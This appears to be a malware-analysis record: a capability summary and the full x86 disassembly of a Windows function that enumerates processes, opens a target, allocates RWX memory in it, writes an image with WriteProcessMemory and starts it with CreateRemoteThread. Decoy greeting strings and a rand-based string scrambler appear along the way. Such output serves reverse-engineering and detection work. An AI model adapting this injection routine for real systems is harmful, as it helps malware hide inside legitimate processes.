Function at 0x4029b1
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x304
mov eax, dword [0x409008]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
push edi
push str.csharoissuper
lea ecx, [esp + 0x2a0]
call fcn.00403097
push str.USERNAME
lea ecx, [esp + 0x2b8]
call fcn.00403097
lea eax, [esp + 0x29c]
push eax
push 0x409170
lea edx, [esp + 0x2bc]
call fcn.00402005
pop ecx
pop ecx
lea ecx, [esp + 0x2b4]
call fcn.004032ef
lea ecx, [esp + 0x29c]
call fcn.004032ef
push str.golandsuper
lea ecx, [esp + 0x2a0]
call fcn.00403097
push str.USERDOMAIN
lea ecx, [esp + 0x2b8]
call fcn.00403097
lea eax, [esp + 0x29c]
push eax
push 0x409188
lea edx, [esp + 0x2bc]
call fcn.00402005
pop ecx
pop ecx
lea ecx, [esp + 0x2b4]
call fcn.004032ef
lea ecx, [esp + 0x29c]
call fcn.004032ef
push 0xa
pop ecx
xor eax, eax
lea edi, [esp + 0x2cc]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x2cc]
call fcn.0040152b
sub esp, 0x28
lea eax, [esp + 0x2f4]
mov esi, esp
mov ecx, esi
push eax
call fcn.00402fa0
lea eax, [esp + 0x300]
push eax
lea ecx, [esi + 0xc]
call fcn.00403210
mov eax, dword [esp + 0x318]
mov dword [esi + 0x24], eax
call fcn.004021c8
xor eax, eax
lea edi, [esp + 0x2ac]
stosd dword es:[edi], eax
lea ecx, [esp + 0x31c]
xor ebx, ebx
add esp, 0x24
mov dword [esp + 0x27c], ebx
mov dword [esp + 0x280], ebx
stosd dword es:[edi], eax
mov dword [esp + 0x284], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [esp + 0x298], ebx
mov dword [esp + 0x29c], 0xf
mov byte [esp + 0x288], bl
call fcn.0040290e
sub esp, 0x14
mov ecx, esp
push 0x4065a8
call fcn.00403097
sub esp, 0x18
mov ecx, esp
push 0x4065ac
call fcn.00403097
sub esp, 0x18
lea ecx, [esp + 0x33c]
mov eax, esp
push ecx
push eax
call fcn.00401f94
sub esp, 0xc
lea eax, [esp + 0x2d8]
lea ecx, [esp + 0x320]
push eax
call fcn.00401905
push 0x7121
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
cmp dword [esp + 0x29c], 0x10
lea esi, [esp + 0x288]
mov edi, dword [esp + 0x298]
cmovae esi, dword [esp + 0x288]
pop ecx
lea ecx, [esp + 0x284]
cmovae ecx, dword [esp + 0x284]
add edi, ecx
cmp esi, edi
je 0x402be6
mov bl, byte [esi]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000001f
jns 0x402bac
dec eax
or eax, 0xffffffe0
inc eax
mov ecx, dword [esp + 0x27c]
add al, bl
mov byte [esp + 0x13], al
cmp ecx, dword [esp + 0x280]
je 0x402bcd
mov byte [ecx], al
inc dword [esp + 0x27c]
jmp 0x402bdf
lea eax, [esp + 0x13]
push eax
push ecx
lea ecx, [esp + 0x280]
call fcn.004040a6
inc esi
cmp esi, edi
jne 0x402b98
xor ebx, ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.HELLO_n
call fcn.004034a4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.HOW_ARE_YOU_MY_FRIEND_n
call fcn.004034a4
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x402ec7
lea eax, [esp + 0x48]
mov dword [esp + 0x48], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x402cd4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov eax, dword [eax]
mov edx, dword [eax]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c42
sub ecx, edi
push ecx
push edx
call fcn.00404291
mov edx, eax
lea ecx, [esp + 0x2bc]
call fcn.004025a6
pop ecx
pop ecx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2b8]
call fcn.00402749
push eax
lea ecx, [esp + 0x2a0]
call fcn.004030d6
lea ecx, [esp + 0x20]
call fcn.004032ef
cmp dword [esp + 0x2b0], 8
lea eax, [esp + 0x29c]
cmovae eax, dword [esp + 0x29c]
push eax
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402cde
lea ecx, [esp + 0x29c]
call fcn.004032ef
lea ecx, [esp + 0x2b4]
call fcn.004032ef
lea eax, [esp + 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402c33
jmp 0x402d06
push dword [esp + 0x50]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x29c]
mov ebx, eax
call fcn.004032ef
lea ecx, [esp + 0x2b4]
call fcn.004032ef
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x402ec7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.HESLLO_n
call fcn.004034a4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.HSOW_ASRE_YSOU_SMY_FRIENSD_n
call fcn.004034a4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.WriteProcessMemory
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x278]
mov edi, eax
push 0x40
push 0x3000
mov dword [esp + 0x20], edi
mov esi, dword [ecx + 0x3c]
add esi, ecx
push dword [esi + 0x50]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [esp + 0x1c], eax
push dword [esp + 0x280]
push eax
push ebx
call edi
and dword [esp + 0x1c], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x402dc8
lea edi, [esi + 0x10c]
mov eax, dword [edi]
add eax, dword [esp + 0x278]
push 0
push dword [edi - 4]
push eax
mov eax, dword [edi - 8]
add eax, dword [esp + 0x20]
push eax
push ebx
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x1c]
lea edi, [edi + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [esp + 0x1c], ecx
cmp ecx, eax
jl 0x402d98
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.HGSOW_ASGRE_YSGOU_SGMY_FRIENGSD_n
call fcn.004034a4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.HEGSLLO_n
call fcn.004034a4
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x18]
push 0x10
mov dword [esp + 0x44], eax
lea eax, [esp + 0x40]
push eax
push edi
push ebx
call dword [esp + 0x2c]
push 0
mov ecx, 0x4027eb
lea esi, [edi + 0x10]
mov eax, fcn.0040290b
sub eax, ecx
push eax
push ecx
push esi
push ebx
call dword [esp + 0x2c]
push 0xffffffffffffffff
xor eax, eax
push eax
push eax
push edi
push esi
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [esp + 0x298], 0x10
lea edx, [esp + 0x284]
push dword [esp + 0x294]
cmovae edx, dword [esp + 0x288]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403f71
pop ecx
lea ecx, [esp + 0x2f4]
call fcn.004031b4
lea ecx, [esp + 0x284]
call fcn.004031b4
lea ecx, [esp + 0x278]
call fcn.00402f1c
lea ecx, [esp + 0x2d8]
call fcn.004031b4
lea ecx, [esp + 0x2cc]
call fcn.0040329f
jmp 0x402f05
lea ecx, [esp + 0x2f4]
call fcn.004031b4
lea ecx, [esp + 0x284]
call fcn.004031b4
lea ecx, [esp + 0x278]
call fcn.00402f1c
lea ecx, [esp + 0x2d8]
call fcn.004031b4
lea ecx, [esp + 0x2cc]
call fcn.0040329f
xor eax, eax
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00404367
mov esp, ebp
pop ebp
ret 0x10